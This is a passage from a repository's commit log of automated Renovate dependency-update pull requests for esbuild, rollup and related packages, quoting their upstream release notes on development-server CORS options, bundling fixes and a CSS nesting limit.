[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.15.3/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.15.3/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 16:10:34 +00:00
renovate[bot] cd8017d537
chore(deps): update dependency esbuild to v0.25.4 (#1185)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.25.2` ->
`0.25.4`](https://renovatebot.com/diffs/npm/esbuild/0.25.2/0.25.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.25.2/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.25.2/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.25.4`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0254)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.3...v0.25.4)

- Add simple support for CORS to esbuild's development server
([#&#8203;4125](https://redirect.github.com/evanw/esbuild/issues/4125))

Starting with version 0.25.0, esbuild's development server is no longer
configured to serve cross-origin requests. This was a deliberate change
to prevent any website you visit from accessing your running esbuild
development server. However, this change prevented (by design) certain
use cases such as "debugging in production" by having your production
website load code from `localhost` where the esbuild development server
is running.

To enable this use case, esbuild is adding a feature to allow
[Cross-Origin Resource
Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS)
(a.k.a. CORS) for [simple
requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests).
Specifically, passing your origin to the new `cors` option will now set
the `Access-Control-Allow-Origin` response header when the request has a
matching `Origin` header. Note that this currently only works for
requests that don't send a preflight `OPTIONS` request, as esbuild's
development server doesn't currently support `OPTIONS` requests.

    Some examples:

    -   **CLI:**

            esbuild --servedir=. --cors-origin=https://example.com

    -   **JS:**

        ```js
        const ctx = await esbuild.context({})
        await ctx.serve({
          servedir: '.',
          cors: {
            origin: 'https://example.com',
          },
        })
        ```

    -   **Go:**

        ```go
        ctx, _ := api.Context(api.BuildOptions{})
        ctx.Serve(api.ServeOptions{
          Servedir: ".",
          CORS: api.CORSOptions{
            Origin: []string{"https://example.com"},
          },
        })
        ```

The special origin `*` can be used to allow any origin to access
esbuild's development server. Note that this means any website you visit
will be able to read everything served by esbuild.

- Pass through invalid URLs in source maps unmodified
([#&#8203;4169](https://redirect.github.com/evanw/esbuild/issues/4169))

This fixes a regression in version 0.25.0 where `sources` in source maps
that form invalid URLs were not being passed through to the output.
Version 0.25.0 changed the interpretation of `sources` from file paths
to URLs, which means that URL parsing can now fail. Previously URLs that
couldn't be parsed were replaced with the empty string. With this
release, invalid URLs in `sources` should now be passed through
unmodified.

- Handle exports named `__proto__` in ES modules
([#&#8203;4162](https://redirect.github.com/evanw/esbuild/issues/4162),
[#&#8203;4163](https://redirect.github.com/evanw/esbuild/pull/4163))

In JavaScript, the special property name `__proto__` sets the prototype
when used inside an object literal. Previously esbuild's ESM-to-CommonJS
conversion didn't special-case the property name of exports named
`__proto__` so the exported getter accidentally became the prototype of
the object literal. It's unclear what this affects, if anything, but
it's better practice to avoid this by using a computed property name in
this case.

This fix was contributed by
[@&#8203;magic-akari](https://redirect.github.com/magic-akari).

###
[`v0.25.3`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0253)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.2...v0.25.3)

- Fix lowered `async` arrow functions before `super()`
([#&#8203;4141](https://redirect.github.com/evanw/esbuild/issues/4141),
[#&#8203;4142](https://redirect.github.com/evanw/esbuild/pull/4142))

This change makes it possible to call an `async` arrow function in a
constructor before calling `super()` when targeting environments without
`async` support, as long as the function body doesn't reference `this`.
Here's an example (notice the change from `this` to `null`):

    ```js
    // Original code
    class Foo extends Object {
      constructor() {
        (async () => await foo())()
        super()
      }
    }

    // Old output (with --target=es2016)
    class Foo extends Object {
      constructor() {
        (() => __async(this, null, function* () {
          return yield foo();
        }))();
        super();
      }
    }

    // New output (with --target=es2016)
    class Foo extends Object {
      constructor() {
        (() => __async(null, null, function* () {
          return yield foo();
        }))();
        super();
      }
    }
    ```

Some background: Arrow functions with the `async` keyword are
transformed into generator functions for older language targets such as
`--target=es2016`. Since arrow functions capture `this`, the generated
code forwards `this` into the body of the generator function. However,
JavaScript class syntax forbids using `this` in a constructor before
calling `super()`, and this forwarding was problematic since previously
happened even when the function body doesn't use `this`. Starting with
this release, esbuild will now only forward `this` if it's used within
the function body.

This fix was contributed by
[@&#8203;magic-akari](https://redirect.github.com/magic-akari).

- Fix memory leak with `--watch=true`
([#&#8203;4131](https://redirect.github.com/evanw/esbuild/issues/4131),
[#&#8203;4132](https://redirect.github.com/evanw/esbuild/pull/4132))

This release fixes a memory leak with esbuild when `--watch=true` is
used instead of `--watch`. Previously using `--watch=true` caused
esbuild to continue to use more and more memory for every rebuild, but
`--watch=true` should now behave like `--watch` and not leak memory.

This bug happened because esbuild disables the garbage collector when
it's not run as a long-lived process for extra speed, but esbuild's
checks for which arguments cause esbuild to be a long-lived process
weren't updated for the new `--watch=true` style of boolean command-line
flags. This has been an issue since this boolean flag syntax was added
in version 0.14.24 in 2022. These checks are unfortunately separate from
the regular argument parser because of how esbuild's internals are
organized (the command-line interface is exposed as a separate [Go
API](https://pkg.go.dev/github.com/evanw/esbuild/pkg/cli) so you can
build your own custom esbuild CLI).

This fix was contributed by
[@&#8203;mxschmitt](https://redirect.github.com/mxschmitt).

- More concise output for repeated legal comments
([#&#8203;4139](https://redirect.github.com/evanw/esbuild/issues/4139))

Some libraries have many files and also use the same legal comment text
in all files. Previously esbuild would copy each legal comment to the
output file. Starting with this release, legal comments duplicated
across separate files will now be grouped in the output file by unique
comment content.

- Allow a custom host with the development server
([#&#8203;4110](https://redirect.github.com/evanw/esbuild/issues/4110))

With this release, you can now use a custom non-IP `host` with esbuild's
local development server (either with `--serve=` for the CLI or with the
`serve()` call for the API). This was previously possible, but was
intentionally broken in [version
0.25.0](https://redirect.github.com/evanw/esbuild/releases/v0.25.0) to
fix a security issue. This change adds the functionality back except
that it's now opt-in and only for a single domain name that you provide.

For example, if you add a mapping in your `/etc/hosts` file from
`local.example.com` to `127.0.0.1` and then use `esbuild
--serve=local.example.com:8000`, you will now be able to visit
http://local.example.com:8000/ in your browser and successfully connect
to esbuild's development server (doing that would previously have been
blocked by the browser). This should also work with HTTPS if it's
enabled (see esbuild's documentation for how to do that).

- Add a limit to CSS nesting expansion
([#&#8203;4114](https://redirect.github.com/evanw/esbuild/issues/4114))

With this release, esbuild will now fail with an error if there is too
much CSS nesting expansion. This can happen when nested CSS is converted
to CSS without nesting for older browsers as expanding CSS nesting is
inherently exponential due to the resulting combinatorial explosion. The
expansion limit is currently hard-coded and cannot be changed, but is
extremely unlikely to trigger for real code. It exists to prevent
esbuild from using too much time and/or memory. Here's an example:

    ```css

a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{color:red}}}}}}}}}}}}}}}}}}}}
    ```

Previously, transforming this file with `--target=safari1` took 5
seconds and generated 40mb of CSS. Trying to do that will now generate
the following error instead:

        ✘ [ERROR] CSS nesting is causing too much expansion

            example.css:1:60:
1 │
a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{a,b{color:red}}}}}}}}}}}}}}}}}}}}
╵ ^

CSS nesting expansion was terminated because a rule was generated with
65536 selectors. This limit
exists to prevent esbuild from using too much time and/or memory. Please
change your CSS to use
          fewer levels of nesting.

- Fix path resolution edge case
([#&#8203;4144](https://redirect.github.com/evanw/esbuild/issues/4144))

This fixes an edge case where esbuild's path resolution algorithm could
deviate from node's path resolution algorithm. It involves a confusing
situation where a directory shares the same file name as a file (but
without the file extension). See the linked issue for specific details.
This appears to be a case where esbuild is correctly following [node's
published resolution
algorithm](https://nodejs.org/api/modules.html#all-together) but where
node itself is doing something different. Specifically the step
`LOAD_AS_FILE` appears to be skipped when the input ends with `..`. This
release changes esbuild's behavior for this edge case to match node's
behavior.

- Update Go from 1.23.7 to 1.23.8
([#&#8203;4133](https://redirect.github.com/evanw/esbuild/issues/4133),
[#&#8203;4134](https://redirect.github.com/evanw/esbuild/pull/4134))

This should have no effect on existing code as this version change does
not change Go's operating system support. It may remove certain reports
from vulnerability scanners that detect which version of the Go compiler
esbuild uses, such as for CVE-2025-22871.

As a reminder, esbuild's development server is intended for development,
not for production, so I do not consider most networking-related
vulnerabilities in Go to be vulnerabilities in esbuild. Please do not
use esbuild's development server in production.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yNjQuMCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 12:11:42 -04:00
renovate[bot] 273af9e20b
chore(deps): update dependency @rollup/plugin-typescript to v12 (#1059)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@rollup/plugin-typescript](https://redirect.github.com/rollup/plugins/tree/master/packages/typescript/#readme)
([source](https://redirect.github.com/rollup/plugins/tree/HEAD/packages/typescript))
| [`^11.1.6` ->
`^12.0.0`](https://renovatebot.com/diffs/npm/@rollup%2fplugin-typescript/11.1.6/12.1.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@rollup%2fplugin-typescript/12.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@rollup%2fplugin-typescript/12.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@rollup%2fplugin-typescript/11.1.6/12.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@rollup%2fplugin-typescript/11.1.6/12.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/plugins (@&#8203;rollup/plugin-typescript)</summary>

###
[`v12.1.2`](https://redirect.github.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1212)

*2024-12-15*

##### Bugfixes

- fix: path validation issue in validatePaths function
([#&#8203;1800](https://redirect.github.com/rollup/plugins/issues/1800))

###
[`v12.1.1`](https://redirect.github.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1211)

*2024-10-16*

##### Bugfixes

- fix: allow for files to be nested in folders within outDir
([#&#8203;1783](https://redirect.github.com/rollup/plugins/issues/1783))

###
[`v12.1.0`](https://redirect.github.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1210)

*2024-09-22*

##### Features

- feat: add transformers factory.
([#&#8203;1668](https://redirect.github.com/rollup/plugins/issues/1668))

###
[`v12.0.0`](https://redirect.github.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1200)

*2024-09-22*

##### Breaking Changes

- fix!: correctly resolve filenames of declaration files for
`output.file`
([#&#8203;1728](https://redirect.github.com/rollup/plugins/issues/1728))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 12:10:18 -04:00
renovate[bot] 8f9b1ae34f
chore(deps): update dependency rollup to v4.40.2 (#1131)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://redirect.github.com/rollup/rollup)) | [`4.24.2` ->
`4.40.2`](https://renovatebot.com/diffs/npm/rollup/4.24.2/4.40.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/4.40.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/4.40.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/4.24.2/4.40.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/4.24.2/4.40.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v4.40.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4402)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.40.1...v4.40.2)

*2025-05-06*

##### Bug Fixes

- Create correct IIFE/AMD/UMD bundles when using a mutable default
export
([#&#8203;5934](https://redirect.github.com/rollup/rollup/issues/5934))
- Fix execution order when using top-level await for dynamic imports
with inlineDynamicImports
([#&#8203;5937](https://redirect.github.com/rollup/rollup/issues/5937))
- Throw when the output is watched in watch mode
([#&#8203;5939](https://redirect.github.com/rollup/rollup/issues/5939))

##### Pull Requests

- [#&#8203;5934](https://redirect.github.com/rollup/rollup/pull/5934):
fix(exports): avoid "exports is not defined" `ReferenceError`
([@&#8203;dasa](https://redirect.github.com/dasa))
- [#&#8203;5937](https://redirect.github.com/rollup/rollup/pull/5937):
consider TLA imports have higher execution priority
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5939](https://redirect.github.com/rollup/rollup/pull/5939):
fix: watch mode input should not be an output subpath
([@&#8203;btea](https://redirect.github.com/btea))
- [#&#8203;5940](https://redirect.github.com/rollup/rollup/pull/5940):
chore(deps): update dependency vite to v6.3.4 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5941](https://redirect.github.com/rollup/rollup/pull/5941):
chore(deps): update dependency eslint-plugin-unicorn to v59
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5942](https://redirect.github.com/rollup/rollup/pull/5942):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5943](https://redirect.github.com/rollup/rollup/pull/5943):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.40.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4401)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.40.0...v4.40.1)

*2025-04-28*

##### Bug Fixes

- Limit hash size for asset file names to the supported 21
([#&#8203;5921](https://redirect.github.com/rollup/rollup/issues/5921))
- Do not inline user-defined entry chunks or chunks with explicit file
name
([#&#8203;5923](https://redirect.github.com/rollup/rollup/issues/5923))
- Avoid top-level-await cycles when non-entry chunks use top-level await
([#&#8203;5930](https://redirect.github.com/rollup/rollup/issues/5930))
- Expose package.json via exports
([#&#8203;5931](https://redirect.github.com/rollup/rollup/issues/5931))

##### Pull Requests

- [#&#8203;5921](https://redirect.github.com/rollup/rollup/pull/5921):
fix(assetFileNames): reduce max hash size to 21
([@&#8203;shulaoda](https://redirect.github.com/shulaoda))
- [#&#8203;5923](https://redirect.github.com/rollup/rollup/pull/5923):
fix: generate the separate chunk for the entry module with explicated
chunk filename or name
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5926](https://redirect.github.com/rollup/rollup/pull/5926):
fix(deps): update rust crate swc_compiler_base to v18
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5927](https://redirect.github.com/rollup/rollup/pull/5927):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5928](https://redirect.github.com/rollup/rollup/pull/5928):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5930](https://redirect.github.com/rollup/rollup/pull/5930):
Avoid chunks TLA dynamic import circular when TLA dynamic import used in
non-entry modules
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5931](https://redirect.github.com/rollup/rollup/pull/5931):
chore: add new `./package.json` entry
([@&#8203;JounQin](https://redirect.github.com/JounQin),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5936](https://redirect.github.com/rollup/rollup/pull/5936):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.40.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4400)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.39.0...v4.40.0)

*2025-04-12*

##### Features

- Only show `eval` warnings on first render and only when the call is
not tree-shaken
([#&#8203;5892](https://redirect.github.com/rollup/rollup/issues/5892))
- Tree-shake non-included dynamic import members when the handler just
maps to one named export
([#&#8203;5898](https://redirect.github.com/rollup/rollup/issues/5898))

##### Bug Fixes

- Consider dynamic imports nested within top-level-awaited dynamic
import expressions to be awaited as well
([#&#8203;5900](https://redirect.github.com/rollup/rollup/issues/5900))
- Fix namespace rendering when tree-shaking is disabled
([#&#8203;5908](https://redirect.github.com/rollup/rollup/issues/5908))
- When using multiple transform hook filters, all of them need to be
satisfied together
([#&#8203;5909](https://redirect.github.com/rollup/rollup/issues/5909))

##### Pull Requests

- [#&#8203;5892](https://redirect.github.com/rollup/rollup/pull/5892):
Warn when eval or namespace calls are rendered, not when they are parsed
([@&#8203;SunsetFi](https://redirect.github.com/SunsetFi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5898](https://redirect.github.com/rollup/rollup/pull/5898):
feat: treeshake dynamic import chained member expression
([@&#8203;privatenumber](https://redirect.github.com/privatenumber),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5900](https://redirect.github.com/rollup/rollup/pull/5900):
consider the dynamic import within a TLA call expression as a TLA import
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5904](https://redirect.github.com/rollup/rollup/pull/5904):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5905](https://redirect.github.com/rollup/rollup/pull/5905):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5908](https://redirect.github.com/rollup/rollup/pull/5908):
Fix `treeshake: false` breaking destructured namespace imports
([@&#8203;Skn0tt](https://redirect.github.com/Skn0tt))
- [#&#8203;5909](https://redirect.github.com/rollup/rollup/pull/5909):
Correct the behavior when multiple transform filter options are
specified ([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))
- [#&#8203;5915](https://redirect.github.com/rollup/rollup/pull/5915):
chore(deps): update dependency
[@&#8203;types/picomatch](https://redirect.github.com/types/picomatch)
to v4 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5916](https://redirect.github.com/rollup/rollup/pull/5916):
fix(deps): update rust crate swc_compiler_base to v17
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5917](https://redirect.github.com/rollup/rollup/pull/5917):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5918](https://redirect.github.com/rollup/rollup/pull/5918):
chore(deps): update dependency vite to v6.2.6 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.39.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4390)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.38.0...v4.39.0)

*2025-04-02*

##### Features

- Do not create separate facade chunks if a chunk would contain several
entry modules that allow export extension if there are no export name
conflicts
([#&#8203;5891](https://redirect.github.com/rollup/rollup/issues/5891))

##### Bug Fixes

- Mark the `id` property as optional in the filter for the `resolveId`
hook
([#&#8203;5896](https://redirect.github.com/rollup/rollup/issues/5896))

##### Pull Requests

- [#&#8203;5891](https://redirect.github.com/rollup/rollup/pull/5891):
chunk: merge allow-extension modules
([@&#8203;wmertens](https://redirect.github.com/wmertens),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5893](https://redirect.github.com/rollup/rollup/pull/5893):
chore(deps): update dependency vite to v6.2.4 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5896](https://redirect.github.com/rollup/rollup/pull/5896):
fix: resolveId id filter is optional
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))

###
[`v4.38.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4380)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.37.0...v4.38.0)

*2025-03-29*

##### Features

- Support `.filter` option in `resolveId`, `load` and `transform` hooks
([#&#8203;5882](https://redirect.github.com/rollup/rollup/issues/5882))

##### Pull Requests

- [#&#8203;5882](https://redirect.github.com/rollup/rollup/pull/5882):
Add support for hook filters
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))
- [#&#8203;5894](https://redirect.github.com/rollup/rollup/pull/5894):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5895](https://redirect.github.com/rollup/rollup/pull/5895):
chore(deps): update dependency eslint-plugin-unicorn to v58
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.37.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4370)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.36.0...v4.37.0)

*2025-03-23*

##### Features

- Support Musl Linux on Riscv64 architectures
([#&#8203;5726](https://redirect.github.com/rollup/rollup/issues/5726))
- Handles class decorators placed before the `export` keyword
([#&#8203;5871](https://redirect.github.com/rollup/rollup/issues/5871))

##### Bug Fixes

- Log Rust panic messages to the console when using the WASM build
([#&#8203;5875](https://redirect.github.com/rollup/rollup/issues/5875))

##### Pull Requests

- [#&#8203;5726](https://redirect.github.com/rollup/rollup/pull/5726):
Add support for linux riscv64 musl
([@&#8203;fossdd](https://redirect.github.com/fossdd),
[@&#8203;leso-kn](https://redirect.github.com/leso-kn))
- [#&#8203;5871](https://redirect.github.com/rollup/rollup/pull/5871):
feat: support decorators before or after export
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5875](https://redirect.github.com/rollup/rollup/pull/5875):
capture Rust panic messages and output them to the console.
([@&#8203;luyahan](https://redirect.github.com/luyahan),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5883](https://redirect.github.com/rollup/rollup/pull/5883):
Pin digest of 3rd party actions
([@&#8203;re-taro](https://redirect.github.com/re-taro))
- [#&#8203;5885](https://redirect.github.com/rollup/rollup/pull/5885):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.36.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4360)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.35.0...v4.36.0)

*2025-03-17*

##### Features

- Extend `renderDynamicImport` hook to provide information about static
dependencies of the imported module
([#&#8203;5870](https://redirect.github.com/rollup/rollup/issues/5870))
- Export several additional types used by Vite
([#&#8203;5879](https://redirect.github.com/rollup/rollup/issues/5879))

##### Bug Fixes

- Do not merge chunks if that would create a top-level await cycle
between chunks
([#&#8203;5843](https://redirect.github.com/rollup/rollup/issues/5843))

##### Pull Requests

- [#&#8203;5843](https://redirect.github.com/rollup/rollup/pull/5843):
avoiding top level await circular
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5870](https://redirect.github.com/rollup/rollup/pull/5870):
draft for extended renderDynamicImport hook
([@&#8203;iczero](https://redirect.github.com/iczero),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5876](https://redirect.github.com/rollup/rollup/pull/5876):
Update axios overrides to 1.8.2
([@&#8203;vadym-khodak](https://redirect.github.com/vadym-khodak))
- [#&#8203;5877](https://redirect.github.com/rollup/rollup/pull/5877):
chore(deps): update dependency eslint-plugin-vue to v10
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5878](https://redirect.github.com/rollup/rollup/pull/5878):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5879](https://redirect.github.com/rollup/rollup/pull/5879):
fix: export types ([@&#8203;sxzz](https://redirect.github.com/sxzz))

###
[`v4.35.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4350)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.9...v4.35.0)

*2025-03-08*

##### Features

- Pass build errors to the closeBundle hook
([#&#8203;5867](https://redirect.github.com/rollup/rollup/issues/5867))

##### Pull Requests

- [#&#8203;5852](https://redirect.github.com/rollup/rollup/pull/5852):
chore(deps): update dependency eslint-plugin-unicorn to v57
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5862](https://redirect.github.com/rollup/rollup/pull/5862):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5867](https://redirect.github.com/rollup/rollup/pull/5867):
feat(5858): make closeBundle hook receive the last error
([@&#8203;GauBen](https://redirect.github.com/GauBen))
- [#&#8203;5872](https://redirect.github.com/rollup/rollup/pull/5872):
chore(deps): update dependency builtin-modules to v5
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5873](https://redirect.github.com/rollup/rollup/pull/5873):
chore(deps): update uraimo/run-on-arch-action action to v3
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5874](https://redirect.github.com/rollup/rollup/pull/5874):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.34.9`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4349)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.8...v4.34.9)

*2025-03-01*

##### Bug Fixes

- Support JSX modes in WASM
([#&#8203;5866](https://redirect.github.com/rollup/rollup/issues/5866))
- Allow the CustomPluginOptions to be extended
